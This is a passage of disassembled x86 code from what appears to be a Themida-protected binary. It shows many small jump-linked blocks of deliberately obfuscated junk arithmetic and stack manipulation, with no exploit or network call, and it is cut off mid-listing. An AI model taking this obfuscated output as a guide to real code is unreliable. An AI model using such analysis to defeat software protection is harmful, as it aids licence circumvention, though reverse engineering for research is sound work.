; ---------------------------------------------------------------------------


loc_56C147:				; CODE XREF: sub_56207C+9A18j
		not	edi
		shl	edi, 2
		push	eax
		jmp	loc_561215
; ---------------------------------------------------------------------------


loc_56C152:				; DATA XREF: Themida_:0055E2D4o
		mov	ax, word ptr [esp+3Ch+var_3C]
		push	ecx
		push	esp
		jmp	loc_57246C
; ---------------------------------------------------------------------------


loc_56C15D:				; CODE XREF: sub_56207C-247Bj
		add	edx, ebx
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], ebp
		jmp	loc_564099
; ---------------------------------------------------------------------------


loc_56C17F:				; CODE XREF: sub_56207C+30EFj
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	eax
		jmp	loc_563668
; ---------------------------------------------------------------------------


loc_56C18D:				; CODE XREF: Themida_:0055EE13j
		add	bh, 1
		shr	bh, 4
		push	cx
		mov	cl, 52h
		xor	bh, cl
		jmp	loc_56CD66
; ---------------------------------------------------------------------------


loc_56C19E:				; CODE XREF: sub_56207C-7C7j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], eax
		xor	eax, [esp+32h+var_34+2]
		pop	esp
		sub	ebx, ecx
		pop	ecx
		add	esi, ebx
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		jmp	loc_56EED9
; ---------------------------------------------------------------------------


loc_56C1CB:				; CODE XREF: sub_56207C-2B8Ej
		pop	esp
		xor	eax, ebx
		push	[esp+1Ch+var_1C]
		mov	ebx, [esp+20h+var_20]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_570276
; ---------------------------------------------------------------------------


loc_56C1E5:				; CODE XREF: sub_56207C+7BB6j
		pop	ebp
		pop	[esp+0Ch+var_C]
		pop	esp
		push	esi
		sub	esp, 4
		jmp	loc_563A57
; ---------------------------------------------------------------------------


loc_56C1F6:				; CODE XREF: sub_56207C+9D04j
		push	ecx
		push	79447E5Ch
		pop	ecx
		jmp	loc_571650
; ---------------------------------------------------------------------------


loc_56C202:				; CODE XREF: sub_56207C+83Bj
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		rep movsd
		jmp	loc_569401
; ---------------------------------------------------------------------------


loc_56C20D:				; CODE XREF: sub_56207C+22E0j
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], ebx
		push	78264C26h
		pop	ebx
		add	ebx, 31C45CDEh
		inc	ebx
		push	7BF3h
		mov	[esp+32h+var_34+2], ecx
		push	ebx
		push	edx
		mov	edx, 0A9EAA901h
		mov	ebx, edx
		jmp	loc_569397
; ---------------------------------------------------------------------------


loc_56C244:				; CODE XREF: sub_56207C-28C0j
		pop	edx
		pop	ebp
		add	ebx, edi
		mov	edi, [esp+10h+var_10]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_565AB1
; ---------------------------------------------------------------------------


loc_56C25F:				; CODE XREF: sub_56207C+1CD4j
		mov	ecx, 36344196h
		jmp	loc_569E96
; ---------------------------------------------------------------------------


loc_56C269:				; CODE XREF: sub_56207C+10E2Aj
		pop	edx
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	ebx, 48071460h
		add	ebx, ecx
		add	ebx, 48071460h
		pop	ecx
		push	ebx
		push	[esp+30h+var_2C]
		pop	ebx
		pop	[esp+30h+var_30]
		mov	esp, [esp+2Ch+var_2C]
		div	ecx
		push	esi
		mov	esi, esp
		push	35BAh
		jmp	loc_56D3FE
; ---------------------------------------------------------------------------


loc_56C29B:				; CODE XREF: sub_56207C+56DDj
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_5643EC
; ---------------------------------------------------------------------------


loc_56C2A6:				; CODE XREF: sub_56207C+C0E2j
		mov	ebx, 26AD318Ch
		or	edi, ebx
		pop	ebx
		inc	edi
		jmp	loc_565B46
; ---------------------------------------------------------------------------


loc_56C2B4:				; CODE XREF: sub_56207C+CBAAj
		mov	ah, 27h
		sub	ah, ch
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		sub	dh, ah
		mov	ax, word ptr [esp+10h+var_10]
		add	esp, 2
		add	dh, 0CCh
		sub	dh, ah
		jmp	loc_56513F
; ---------------------------------------------------------------------------


loc_56C2D1:				; CODE XREF: sub_56207C+FE58j
		push	edx
		push	[esp+10h+var_C]
		jmp	loc_57085D
; ---------------------------------------------------------------------------


loc_56C2DB:				; CODE XREF: sub_56207C+5E7j
		inc	esi
		and	esi, 31442A56h
		push	ecx
		mov	ecx, 21BE2DACh
		jmp	loc_55EA0B
; ---------------------------------------------------------------------------


loc_56C2ED:				; CODE XREF: sub_56207C+F4C1j
		add	esp, 4
		sub	ebx, 1C9D1B09h
		add	ebx, 1
		push	edx
		mov	edx, 10E63B8h
		xor	edx, 7F39563Ah
		inc	edx
		add	edx, 72856DD8h
		shr	edx, 3
		sub	esp, 4
		mov	[esp+46h+var_48+2], eax
		mov	eax, 236C7716h
		shl	eax, 3
		jmp	loc_56B9AC
; ---------------------------------------------------------------------------


loc_56C328:				; CODE XREF: sub_56207C+8B82j
		push	ebx
		mov	ebx, 182F72C5h
		shl	ebx, 6
		jmp	loc_56FB79
; ---------------------------------------------------------------------------


loc_56C336:				; CODE XREF: sub_56207C+4AB6j
		sub	ecx, 6A267A3Bh
		sub	ecx, edx
		add	ecx, 6A267A3Bh
		pop	edx
		push	edx
		push	ecx
		pop	edx
		mov	ebp, edx
		pop	edx
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		push	ebp
		sub	[esp+1Eh+var_20+2], 0E3450F9h
		pop	ecx
		add	ecx, 0E3450F9h
		pop	ebp
		and	eax, ecx
		push	[esp+16h+var_18+2]
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ecx
		xor	ecx, [esp+1Ah+var_1C+2]
		jmp	loc_566E0D
; ---------------------------------------------------------------------------


loc_56C389:				; CODE XREF: sub_56207C+B531j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56C38E:				; CODE XREF: sub_56207C+872Fj
		pop	esi
		xor	ebp, ecx
		mov	ecx, [esp+20h+var_20]
		add	esp, 4
		push	3C23h
		jmp	loc_5614CE
; ---------------------------------------------------------------------------


loc_56C3A4:				; CODE XREF: sub_56207C+839Ej
		pop	esp
		add	ebx, 3CD8006Dh
		push	ebp
		mov	ebp, 7F7E4DD2h
		add	ebx, 5822EDCh
		sub	ebx, ebp
		sub	ebx, 5822EDCh
		mov	ebp, [esp+3Ch+var_3C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edx
		jmp	loc_56C9F8
; ---------------------------------------------------------------------------
		mov	eax, [esp+3Ch+var_3C]
		jmp	loc_5682FB
; ---------------------------------------------------------------------------


loc_56C3DB:				; CODE XREF: sub_56207C+BFAAj
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		add	esp, 4
		push	ebx
		push	ecx
		push	673A5457h
		pop	ecx
		jmp	loc_56AC31
; ---------------------------------------------------------------------------


loc_56C3FC:				; CODE XREF: sub_56207C-627j
		add	ecx, 4
		jmp	loc_560B8B
; ---------------------------------------------------------------------------


loc_56C407:				; CODE XREF: sub_56207C+5D4Fj
		or	edx, 558420C3h
		sub	edx, 0FFFFFFFFh
		jmp	loc_565F22
; ---------------------------------------------------------------------------


loc_56C418:				; CODE XREF: sub_56207C+1147Bj
		push	[esp+36h+var_38+2]
		jmp	loc_5635C4
; ---------------------------------------------------------------------------


loc_56C420:				; CODE XREF: sub_56207C+E371j
		push	ecx
		push	esp
		jmp	loc_569F1F
; ---------------------------------------------------------------------------


loc_56C427:				; CODE XREF: sub_56207C+6882j
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		xor	ecx, [esp+44h+var_44]
		xor	[esp+44h+var_44], ecx
		xor	ecx, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		jmp	loc_563911
; ---------------------------------------------------------------------------


loc_56C44C:				; CODE XREF: sub_56207C+F28Aj
		mov	ebp, 4
		add	eax, ebp
		push	[esp+44h+var_44]
		jmp	loc_568160
; ---------------------------------------------------------------------------


loc_56C45B:				; CODE XREF: sub_56207C-1675j
		push	ecx
		jmp	loc_567D61
; ---------------------------------------------------------------------------


loc_56C461:				; CODE XREF: sub_56207C-3AA5j
		push	5DF0h
		mov	[esp+38h+var_38], edx
		mov	edx, 32C016ADh
		sub	edx, 0E9F897B9h
		or	ebp, edx
		push	[esp+38h+var_38]
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		add	esp, 4
		add	ebp, 1
		xor	ebp, 0B216F962h
		jmp	loc_56AB59
; ---------------------------------------------------------------------------


loc_56C499:				; CODE XREF: sub_56207C-2FE3j
		xor	[esp+24h+var_24], esi
		xor	esi, [esp+24h+var_24]
		jmp	loc_569BC3
; ---------------------------------------------------------------------------


loc_56C4A4:				; DATA XREF: Themida_:0055E304o
		push	dword ptr fs:[edx]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56C4AC:				; CODE XREF: sub_56207C+1092j
		add	esp, 4
		push	25F2h
		mov	[esp+60h+var_60], ecx
		push	edi
		mov	edi, 405D7DF2h
		mov	ecx, 0ACC88C0Ah
		sub	ecx, 3D7E1C66h
		sub	ecx, 638A0DD9h
		sub	ecx, edi
		add	ecx, 638A0DD9h
		add	ecx, 3D7E1C66h
		mov	edi, [esp+64h+var_64]
		add	esp, 4
		sub	eax, ecx
		mov	ecx, [esp+60h+var_60]
		add	esp, 4
		add	eax, ebp
		add	eax, 6C6B0E18h
		mov	ebp, [esp+5Ch+var_5C]
		add	esp, 4
		push	ebx
		jmp	loc_5630E7
; ---------------------------------------------------------------------------


loc_56C506:				; CODE XREF: sub_56207C+10BB8j
		pop	edx
		pop	ecx
		mov	esi, edx
		mov	edx, [esp+54h+var_54]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 3E8A6DB7h
		jmp	loc_56A870
; ---------------------------------------------------------------------------


loc_56C51B:				; CODE XREF: sub_56207C+1E65j
		pop	ebp
		mov	ecx, 0CEF8EB50h
		add	ecx, 345000FDh
		add	ecx, edi
		sub	ecx, 345000FDh
		jmp	loc_5661DE
; ---------------------------------------------------------------------------


loc_56C534:				; CODE XREF: sub_56207C+19F7j
		neg	edi
		add	edi, 61FF70C5h
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp+68h+var_68]
		pop	esp
		mov	[esp+64h+var_64], edx
		push	[esp+64h+var_60]
		pop	edx
		pop	[esp+64h+var_64]
		jmp	loc_572EF8
; ---------------------------------------------------------------------------


loc_56C556:				; CODE XREF: sub_56207C+FE7Dj
		sub	esp, 4
		mov	[esp+64h+var_64], ecx
		jmp	loc_5695D0
; ---------------------------------------------------------------------------


loc_56C561:				; CODE XREF: sub_56207C+2AD5j
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5659BE
; ---------------------------------------------------------------------------


loc_56C574:				; CODE XREF: sub_56207C-37ACj
		add	ebx, 41617582h
		sub	ebx, edi
		jmp	loc_5685A2
; ---------------------------------------------------------------------------


loc_56C581:				; CODE XREF: sub_56207C+68B9j
		inc	eax
		sub	eax, 1A823E36h
		jmp	loc_56F854
; ---------------------------------------------------------------------------


loc_56C58C:				; CODE XREF: sub_56207C+4BE2j
		mov	esi, 9A8F3851h
		sub	eax, esi
		pop	esi
		mov	ebp, eax
		jmp	loc_57344D
; ---------------------------------------------------------------------------


loc_56C59B:				; CODE XREF: sub_56207C-13F0j
		add	ebx, 1BA208EEh
		add	ebx, eax
		sub	ebx, 1BA208EEh
		pop	eax
		inc	ebx
		push	eax
		mov	eax, 3AA56165h
		push	1631h
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ecx, 5DC13F61h
		add	ecx, 6C1073AEh
		dec	ecx
		jmp	loc_570BCE
; ---------------------------------------------------------------------------


loc_56C5CA:				; CODE XREF: sub_56207C+F5DCj
		pop	eax
		jmp	loc_55EF9B
; ---------------------------------------------------------------------------


loc_56C5D0:				; CODE XREF: sub_56207C+5922j
		and	edi, 53F66B83h
		jmp	loc_564E19
; ---------------------------------------------------------------------------


loc_56C5DB:				; CODE XREF: sub_56207C+1839j
		add	esp, 4
		or	ecx, ebp
		pop	ebp
		dec	ecx
		push	eax
		mov	eax, 4F3B4ED9h
		xor	ecx, eax
		pop	eax
		add	[edi+24h], ecx
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4


loc_56C5F4:				; CODE XREF: sub_56207C+C59Bj
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 0EF8454Ah
		sub	ecx, 0EF84546h
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	[esp+1Ah+var_1C+2], ebx
		push	4AF3h
		mov	[esp+1Eh+var_20+2], esi
		push	ebx
		jmp	loc_56B3E2
; ---------------------------------------------------------------------------


loc_56C620:				; CODE XREF: sub_56207C+FE0Fj
		pop	ecx
		jmp	loc_55EC4B
; ---------------------------------------------------------------------------


loc_56C626:				; CODE XREF: sub_56207C-2BABj
		pop	edx
		jmp	loc_5674BF
; ---------------------------------------------------------------------------


loc_56C62C:				; CODE XREF: sub_56207C-B4Dj
		push	edx
		mov	edx, 7A581C29h
		add	edx, 45397A85h
		not	edx
		jmp	loc_5643C7
; ---------------------------------------------------------------------------


loc_56C63F:				; CODE XREF: sub_56207C+9B15j
		shr	edx, 6
		push	ebx
		jmp	loc_56D7D5
; ---------------------------------------------------------------------------


loc_56C648:				; CODE XREF: sub_56207C+B739j
		add	esp, 4
		sub	esp, 4
		jmp	loc_55F654
; ---------------------------------------------------------------------------


loc_56C659:				; CODE XREF: Themida_:00560770j
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], edi
		push	4EC559DDh
		mov	edi, [esp+3Eh+var_40+2]
		jmp	loc_5663B7
; ---------------------------------------------------------------------------


loc_56C66C:				; CODE XREF: sub_56207C+8D6Ej
		mov	edx, 0
		sub	edx, ebp
		jmp	loc_563168
; ---------------------------------------------------------------------------


loc_56C678:				; CODE XREF: sub_56207C+B6Aj
		pop	ebx
		push	ebx
		mov	ebx, 7BCD60DEh
		jmp	loc_56048B
; ---------------------------------------------------------------------------


loc_56C684:				; CODE XREF: sub_56207C+F838j
		add	eax, ebp
		jmp	loc_567465
; ---------------------------------------------------------------------------


loc_56C68B:				; CODE XREF: sub_56207C+DDB0j
		xchg	eax, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		jmp	loc_55EB33
; ---------------------------------------------------------------------------


loc_56C696:				; CODE XREF: sub_56207C+8562j
		and	ebp, ebx
		pop	ebx
		add	ebp, 0E8F23C6h
		sub	eax, ebp
		pop	ebp
		not	eax
		or	eax, 2F7071CAh
		jmp	loc_56A075
; ---------------------------------------------------------------------------


loc_56C6AE:				; CODE XREF: sub_56207C+D127j
		push	edi
		push	eax
		mov	eax, 15A81437h
		jmp	loc_56259F
; ---------------------------------------------------------------------------


loc_56C6BA:				; CODE XREF: sub_56207C+59CEj
		mov	edi, [esp+1Ch+var_1C]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 54716DA1h
		sub	ebx, 54716D9Dh
		add	edx, ebx
		jmp	loc_565CD1
; ---------------------------------------------------------------------------


loc_56C6D3:				; CODE XREF: sub_56207C+4C03j
		pop	ecx
		jmp	loc_56CE55
; ---------------------------------------------------------------------------


loc_56C6D9:				; CODE XREF: sub_56207C+4AABj
		add	esp, 4
		pop	[esp+1Eh+var_20+2]
		jmp	loc_56B66E
; ---------------------------------------------------------------------------


loc_56C6E7:				; CODE XREF: sub_56207C-2435j
		push	edi
		jmp	loc_569D82
; ---------------------------------------------------------------------------


loc_56C6ED:				; CODE XREF: sub_56207C+8539j
		pop	esp
		jmp	loc_55F3A9
; ---------------------------------------------------------------------------


loc_56C6F3:				; CODE XREF: sub_56207C+EE4Bj
		mov	ch, 0DDh
		xor	ch, 2Eh
		sub	ch, 0C0h
		shr	ch, 6
		shr	ch, 8
		jmp	loc_560B09
; ---------------------------------------------------------------------------


loc_56C706:				; CODE XREF: sub_56207C+C6B7j
		xchg	ebx, [esp+32h+var_34+2]
		pop	esp
		add	esi, 4
		add	esi, 2
		push	1127h
		mov	[esp+32h+var_34+2], esi
		push	[esp+32h+var_30+2]
		pop	esi
		pop	[esp+32h+var_34+2]
		mov	esp, [esp+2Eh+var_30+2]
		and	word ptr [esp+2Eh+var_30+2], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56C733:				; CODE XREF: sub_56207C+FCEAj
		sub	ebx, 539448E4h
		sub	ebx, 30DC1EACh
		sub	ebx, eax
		add	ebx, 30DC1EACh
		add	ebx, 539448E4h
		add	ebx, 2DD67D2Ah
		mov	eax, [esp+32h+var_34+2]
		add	esp, 4
		sub	ebx, eax
		add	ebx, 3DAF65C1h
		jmp	loc_56834E
; ---------------------------------------------------------------------------


loc_56C769:				; CODE XREF: sub_56207C+11566j
		pop	eax
		xchg	eax, ebp
		and	ebp, 33980F9Ch
		shr	ebp, 7
		jmp	loc_5621E9
; ---------------------------------------------------------------------------


loc_56C779:				; CODE XREF: sub_56207C+10D2Dj
		mov	ebx, 28DB2F1Dh
		neg	ebx
		inc	ebx
		not	ebx
		sub	ebx, 8AB82ED3h
		add	eax, ebx
		jmp	loc_56EFB4
; ---------------------------------------------------------------------------


loc_56C790:				; CODE XREF: sub_56207C+A84Cj
		not	esi
		xchg	esi, [esp+2Ah+var_2C+2]
		pop	ebx
		push	ebx
		not	[esp+2Ah+var_2C+2]
		pop	ebx
		sub	ebx, 0EB1E5DD9h
		sub	eax, 29820A04h
		sub	eax, ebx
		add	eax, 29820A04h
		push	[esp+26h+var_28+2]
		mov	ebx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	ecx
		jmp	loc_5700DC
; ---------------------------------------------------------------------------


loc_56C7BF:				; CODE XREF: sub_56207C+396Fj
		mov	dx, si
		pop	esi
		jmp	loc_56F121
; ---------------------------------------------------------------------------


loc_56C7C8:				; CODE XREF: sub_56207C+32BFj
		add	eax, esi
		mov	esi, [esp+40h+var_40]
		add	esp, 4
		xchg	eax, [esp+3Ch+var_3C]
		pop	esp
		jmp	loc_571490
; ---------------------------------------------------------------------------


loc_56C7D9:				; CODE XREF: sub_56207C+1B55j
		pop	esi
		xor	ecx, edx
		pop	edx
		add	esi, ecx
		jmp	loc_561F5E
; ---------------------------------------------------------------------------


loc_56C7E4:				; CODE XREF: sub_56207C-27CEj
		sub	edx, 0F6C4DAAh
		add	edx, eax
		jmp	loc_565D7E
; ---------------------------------------------------------------------------


loc_56C7F1:				; CODE XREF: sub_56207C+111CDj
		xor	[esp+10h+var_10], esi
		xor	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		rol	word ptr [esp+10h+var_10], cl
		pushf
		jmp	loc_56960A
; ---------------------------------------------------------------------------


loc_56C804:				; CODE XREF: sub_56207C-E23j
		push	edi
		mov	edi, 3294055h
		jmp	loc_55F389
; ---------------------------------------------------------------------------


loc_56C80F:				; CODE XREF: sub_56207C+BD87j
		sub	ecx, 4
		push	ecx
		jmp	loc_56AA95
; ---------------------------------------------------------------------------


loc_56C818:				; CODE XREF: sub_56207C+70D2j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_564819
; ---------------------------------------------------------------------------


loc_56C82B:				; CODE XREF: sub_56207C+82A6j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_568988
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+26h+var_28+2]
		push	4DCh
		jmp	loc_56D1B6
; ---------------------------------------------------------------------------


loc_56C846:				; CODE XREF: sub_56207C+95A9j
		mov	ecx, 101E3C40h
		sub	ecx, 616C7A0Ah
		push	eax
		jmp	loc_56BA6D
; ---------------------------------------------------------------------------


loc_56C857:				; CODE XREF: sub_56207C+16AAj
		add	eax, edi
		mov	edi, [esp+2Eh+var_30+2]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xor	eax, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], eax
		xor	eax, [esp+2Ah+var_2C+2]
		pop	esp
		imul	ecx
		push	7CDh
		mov	[esp+2Ah+var_2C+2], edx
		push	eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56C883:				; CODE XREF: sub_56207C+7788j
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp+3Eh+var_40+2]
		pop	esp
		jmp	loc_571129
; ---------------------------------------------------------------------------


loc_56C89B:				; DATA XREF: Themida_:0055E274o
		lodsd
		jmp	loc_5655ED
; ---------------------------------------------------------------------------


loc_56C8A1:				; CODE XREF: sub_56207C-2F52j
		xor	edx, [esp+12h+var_14+2]
		jmp	loc_565ED1
; ---------------------------------------------------------------------------


loc_56C8A9:				; CODE XREF: sub_56207C+1102Dj
		add	eax, 0AB9087F8h
		add	esi, eax
		pop	eax
		xchg	esi, [esp+0Eh+var_10+2]
		pop	esp
		add	ebx, 68292AB9h
		sub	ebx, edi
		sub	ebx, 68292AB9h
		pop	edi
		push	ebx
		xchg	esi, [esp+0Ah+var_C+2]
		jmp	loc_56C790
; ---------------------------------------------------------------------------


loc_56C8CD:				; DATA XREF: Themida_:0055E228o
		push	ebp
		jmp	loc_57044F
; ---------------------------------------------------------------------------


loc_56C8D3:				; CODE XREF: sub_56207C+AD6Fj
		mov	ah, 0E8h
		not	ah
		sub	ah, 0FFh
		jmp	loc_561788
; ---------------------------------------------------------------------------


loc_56C8DF:				; CODE XREF: sub_56207C-38E2j
		push	ecx
		jmp	loc_572223
; ---------------------------------------------------------------------------


loc_56C8E5:				; CODE XREF: sub_56207C+3EA9j
		inc	edx
		jmp	loc_56F3DE
; ---------------------------------------------------------------------------


loc_56C8EB:				; CODE XREF: sub_56207C+E66Dj
		push	7CAC69F7h
		pop	esi
		jmp	loc_5717CE
; ---------------------------------------------------------------------------


loc_56C8F6:				; CODE XREF: sub_56207C+62CDj
		mov	[esp+34h+var_34], ebp
		push	[esp+34h+var_30]
		pop	ebp
		pop	[esp+34h+var_34]
		jmp	loc_5628BC
; ---------------------------------------------------------------------------


loc_56C906:				; CODE XREF: sub_56207C+10206j
		xor	bh, 38h
		jmp	loc_56EC2B
; ---------------------------------------------------------------------------


loc_56C90E:				; CODE XREF: sub_56207C-2AF3j
		add	edi, 4E3D05CEh
		pop	eax
		add	edi, 0CE8A1738h
		push	1BB2h
		mov	[esp+28h+var_28], eax
		push	edi
		pop	eax
		jmp	loc_56132D
; ---------------------------------------------------------------------------


loc_56C92A:				; CODE XREF: sub_56207C+6DB9j
		sub	bx, si
		mov	si, word ptr [esp+20h+var_20]
		jmp	loc_568D98
; ---------------------------------------------------------------------------


loc_56C936:				; CODE XREF: sub_56207C+2B78j
		sub	eax, ebp
		jmp	loc_56763E
; ---------------------------------------------------------------------------


loc_56C93D:				; CODE XREF: sub_56207C+1148Ej
		mov	ebx, 3DD975FBh
		jmp	loc_55F567
; ---------------------------------------------------------------------------


loc_56C947:				; CODE XREF: sub_56207C+7488j
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_5617D5
; ---------------------------------------------------------------------------


loc_56C95B:				; CODE XREF: sub_56207C+10E5Dj
		push	edx
		jmp	loc_5728E0
; ---------------------------------------------------------------------------


loc_56C961:				; CODE XREF: sub_56207C+43BCj
		push	edi
		mov	edi, 23146498h
		and	edi, 18AC30A3h
		jmp	loc_56CEB3
; ---------------------------------------------------------------------------


loc_56C972:				; CODE XREF: sub_56207C+ABEAj
		mov	esp, [esp+2Ch+var_2C]
		jmp	loc_56818B
; ---------------------------------------------------------------------------


loc_56C97A:				; DATA XREF: Themida_:0055E1E4o
		mov	ax, word ptr [esp+2Ch+var_2C]
		push	400Fh
		jmp	loc_570C15
; ---------------------------------------------------------------------------


loc_56C988:				; CODE XREF: sub_56207C+C48Aj
		sub	edi, edx
		add	edi, 5724270Ch
		mov	edx, [esp+30h+var_30]
		push	ebp
		jmp	loc_565DFA
; ---------------------------------------------------------------------------


loc_56C999:				; CODE XREF: sub_56207C+2E8Aj
		xor	eax, 4F915420h
		push	edi
		mov	edi, 55F10A1Fh
		push	ebp
		mov	ebp, 6DE07A00h
		add	ebp, 7B9B0D9Eh
		xor	ebp, 8CBDE33Dh
		or	edi, ebp
		pop	ebp
		push	ecx
		push	edx
		jmp	loc_56DB56
; ---------------------------------------------------------------------------


loc_56C9C0:				; CODE XREF: sub_56207C-35CCj
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebp
		push	ecx
		push	47B93h
		pop	ecx
		not	ecx
		push	ebx
		mov	ebx, 4F047589h
		shl	ebx, 8
		shr	ebx, 2
		add	ebx, 0DB70677h
		jmp	loc_563D79
; ---------------------------------------------------------------------------


loc_56C9E6:				; CODE XREF: sub_56207C+2FAFj
		mov	[esp+10h+var_10], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		push	eax
		jmp	loc_56CDC4
; ---------------------------------------------------------------------------


loc_56C9F8:				; CODE XREF: sub_56207C+A352j
		mov	edx, 67C745CDh
		and	ebx, edx
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edi
		jmp	loc_570FDE
; ---------------------------------------------------------------------------


loc_56CA16:				; CODE XREF: sub_56207C+10DCBj
		push	edi
		push	[esp+40h+var_3C]
		pop	edi
		pop	[esp+40h+var_40]
		jmp	loc_56CB08
; ---------------------------------------------------------------------------


loc_56CA24:				; CODE XREF: sub_56207C+1121Aj
		xor	edx, 71957A1Fh
		shr	edx, 8
		push	edx
		not	[esp+40h+var_40]
		pop	edx
		xor	edx, 0A70D04B5h
		sub	ebp, edx
		pop	edx
		pop	edx
		sub	ebp, 0FFFFFFFFh
		dec	ebp
		sub	esp, 4
		mov	[esp+38h+var_38], ebx
		mov	ebx, 90F7CE74h
		sub	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 280D1279h
		add	edx, 38D6A3Ch
		add	edx, eax
		push	edi
		jmp	loc_56D227
; ---------------------------------------------------------------------------


loc_56CA68:				; CODE XREF: sub_56207C-1CDj
		add	edx, 2F477B7Ah
		push	eax
		jmp	loc_56FF0D
; ---------------------------------------------------------------------------


loc_56CA74:				; CODE XREF: sub_56207C+4546j
		add	esp, 4
		jmp	sub_5610D6
; ---------------------------------------------------------------------------


loc_56CA7C:				; DATA XREF: Themida_:0055E120o
		mov	ax, word ptr [esp-6+arg_0+2]
		push	edi
		mov	edi, esp
		push	edx
		jmp	loc_56A2C9
; ---------------------------------------------------------------------------


loc_56CA89:				; CODE XREF: sub_56207C+532Bj
		pop	ebp
		or	ebp, 1DCF16BBh
		or	ebp, 51634524h
		or	ebp, 65316A01h
		xor	ebp, 774235D0h
		jmp	loc_55F990
; ---------------------------------------------------------------------------


loc_56CAA7:				; CODE XREF: sub_56207C+2C60j
		sub	eax, ebx
		pop	ebx
		sub	eax, 65F23A56h
		push	[esp+0Ch+var_C]
		pop	ebx
		push	esi
		jmp	loc_565D1E
; ---------------------------------------------------------------------------


loc_56CAB9:				; CODE XREF: sub_56207C+6FA0j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56CABE:				; CODE XREF: sub_56207C+8494j
		mov	[esp+0Eh+var_10+2], ecx
		push	esi
		mov	esi, 594B0B90h
		push	0E7Ch
		mov	[esp+16h+var_18+2], edi
		mov	edi, 45963B42h
		shl	edi, 8
		sub	edi, 16DA754Ch
		sub	edi, 704C4AA1h
		jmp	loc_5600B3
; ---------------------------------------------------------------------------


loc_56CAE8:				; CODE XREF: sub_56207C+B884j
		push	2
		pop	ecx
		jmp	loc_56F5BF
; ---------------------------------------------------------------------------


loc_56CAF3:				; CODE XREF: sub_56207C+D514j
		xor	eax, 6340004h
		mov	ebx, eax
		mov	eax, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_561730
; ---------------------------------------------------------------------------


loc_56CB08:				; CODE XREF: sub_56207C+A9A3j
		mov	esp, [esp+3Ch+var_3C]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		sub	esi, 23914E04h
		sub	esi, 0D5E5F73h
		add	esi, edi
		jmp	loc_56D644
; ---------------------------------------------------------------------------


loc_56CB2D:				; DATA XREF: Themida_:0055E2B4o
		mov	cx, word ptr [esp+40h+var_40]
		sub	esp, 4
		mov	[esp+44h+var_44], ebp
		jmp	loc_5610A7
; ---------------------------------------------------------------------------


loc_56CB3C:				; CODE XREF: sub_56207C-3B58j
		pop	[esp+1Ch+var_1C]
		pop	esp
		jmp	loc_566557
; ---------------------------------------------------------------------------


loc_56CB45:				; CODE XREF: sub_56207C+BAA3j
		xchg	edi, [esp+14h+var_14]
		pop	esp
		push	edi
		push	[esp+14h+var_10]
		pop	edi
